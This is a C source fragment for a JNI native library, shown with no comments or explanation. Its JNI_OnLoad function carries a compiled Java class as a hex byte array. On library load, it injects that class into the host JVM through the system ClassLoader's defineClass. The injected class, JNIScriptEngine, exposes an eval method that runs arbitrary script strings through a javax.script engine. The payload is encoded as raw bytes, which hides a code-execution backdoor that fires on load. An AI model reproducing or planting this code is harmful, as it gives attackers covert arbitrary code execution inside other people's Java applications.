JNIEXPORT jint JNI_OnLoad(JavaVM* g_vm, void* reserved) {
char buf[] = {0xca,0xfe,0xba,0xbe,0x00,0x00,0x00,0x34,0x00,0x33,0x0a,0x00,0x0b,0x00,0x1b,0x07,0x00,0x1c,0x0a,0x00,0x02,0x00,0x1b,0x0a,0x00,0x02,0x00,0x1d,0x0b,0x00,0x1e,0x00,0x1f,0x07,0x00,0x20,0x0b,0x00,0x06,0x00,0x21,0x0b,0x00,0x22,0x00,0x23,0x0a,0x00,0x0b,0x00,0x24,0x07,0x00,0x25,0x07,0x00,0x26,0x01,0x00,0x06,0x3c,0x69,0x6e,0x69,0x74,0x3e,0x01,0x00,0x03,0x28,0x29,0x56,0x01,0x00,0x04,0x43,0x6f,0x64,0x65,0x01,0x00,0x0f,0x4c,0x69,0x6e,0x65,0x4e,0x75,0x6d,0x62,0x65,0x72,0x54,0x61,0x62,0x6c,0x65,0x01,0x00,0x12,0x4c,0x6f,0x63,0x61,0x6c,0x56,0x61,0x72,0x69,0x61,0x62,0x6c,0x65,0x54,0x61,0x62,0x6c,0x65,0x01,0x00,0x04,0x74,0x68,0x69,0x73,0x01,0x00,0x11,0x4c,0x4a,0x4e,0x49,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x3b,0x01,0x00,0x04,0x65,0x76,0x61,0x6c,0x01,0x00,0x26,0x28,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x01,0x00,0x06,0x73,0x63,0x72,0x69,0x70,0x74,0x01,0x00,0x12,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x01,0x00,0x0a,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6f,0x6e,0x73,0x07,0x00,0x27,0x01,0x00,0x0a,0x53,0x6f,0x75,0x72,0x63,0x65,0x46,0x69,0x6c,0x65,0x01,0x00,0x14,0x4a,0x4e,0x49,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x2e,0x6a,0x61,0x76,0x61,0x0c,0x00,0x0c,0x00,0x0d,0x01,0x00,0x20,0x6a,0x61,0x76,0x61,0x78,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x2f,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x4d,0x61,0x6e,0x61,0x67,0x65,0x72,0x0c,0x00,0x28,0x00,0x29,0x07,0x00,0x2a,0x0c,0x00,0x2b,0x00,0x2c,0x01,0x00,0x20,0x6a,0x61,0x76,0x61,0x78,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x2f,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x46,0x61,0x63,0x74,0x6f,0x72,0x79,0x0c,0x00,0x2d,0x00,0x2e,0x07,0x00,0x2f,0x0c,0x00,0x13,0x00,0x30,0x0c,0x00,0x31,0x00,0x32,0x01,0x00,0x0f,0x4a,0x4e,0x49,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x01,0x00,0x10,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x4f,0x62,0x6a,0x65,0x63,0x74,0x01,0x00,0x13,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6f,0x6e,0x01,0x00,0x12,0x67,0x65,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x46,0x61,0x63,0x74,0x6f,0x72,0x69,0x65,0x73,0x01,0x00,0x12,0x28,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x75,0x74,0x69,0x6c,0x2f,0x4c,0x69,0x73,0x74,0x3b,0x01,0x00,0x0e,0x6a,0x61,0x76,0x61,0x2f,0x75,0x74,0x69,0x6c,0x2f,0x4c,0x69,0x73,0x74,0x01,0x00,0x03,0x67,0x65,0x74,0x01,0x00,0x15,0x28,0x49,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x4f,0x62,0x6a,0x65,0x63,0x74,0x3b,0x01,0x00,0x0f,0x67,0x65,0x74,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x01,0x00,0x1d,0x28,0x29,0x4c,0x6a,0x61,0x76,0x61,0x78,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x2f,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x3b,0x01,0x00,0x19,0x6a,0x61,0x76,0x61,0x78,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x2f,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x01,0x00,0x26,0x28,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x4f,0x62,0x6a,0x65,0x63,0x74,0x3b,0x01,0x00,0x08,0x74,0x6f,0x53,0x74,0x72,0x69,0x6e,0x67,0x01,0x00,0x14,0x28,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x00,0x21,0x00,0x0a,0x00,0x0b,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x01,0x00,0x0c,0x00,0x0d,0x00,0x01,0x00,0x0e,0x00,0x00,0x00,0x2f,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x05,0x2a,0xb7,0x00,0x01,0xb1,0x00,0x00,0x00,0x02,0x00,0x0f,0x00,0x00,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x10,0x00,0x00,0x00,0x0c,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x11,0x00,0x12,0x00,0x00,0x00,0x09,0x00,0x13,0x00,0x14,0x00,0x02,0x00,0x0e,0x00,0x00,0x00,0x4c,0x00,0x02,0x00,0x01,0x00,0x00,0x00,0x22,0xbb,0x00,0x02,0x59,0xb7,0x00,0x03,0xb6,0x00,0x04,0x03,0xb9,0x00,0x05,0x02,0x00,0xc0,0x00,0x06,0xb9,0x00,0x07,0x01,0x00,0x2a,0xb9,0x00,0x08,0x02,0x00,0xb6,0x00,0x09,0xb0,0x00,0x00,0x00,0x02,0x00,0x0f,0x00,0x00,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x03,0x00,0x10,0x00,0x00,0x00,0x0c,0x00,0x01,0x00,0x00,0x00,0x22,0x00,0x15,0x00,0x16,0x00,0x00,0x00,0x17,0x00,0x00,0x00,0x04,0x00,0x01,0x00,0x18,0x00,0x01,0x00,0x19,0x00,0x00,0x00,0x02,0x00,0x1a}; size_t bufLen = sizeof(buf);
JNIEnv * g_env; int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6); if (getEnvStat == JNI_EDETACHED) { if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) { } } else if (getEnvStat == JNI_OK) { } else if (getEnvStat == JNI_EVERSION) { }
jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen); (*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf);
jclass cls; jmethodID meth; jobject obj;
cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader");
meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;"); jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth);
meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;");
jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen);
(*g_env)->DeleteLocalRef(g_env, jData); (*g_vm)->DetachCurrentThread(g_vm);
return JNI_VERSION_1_6; }
|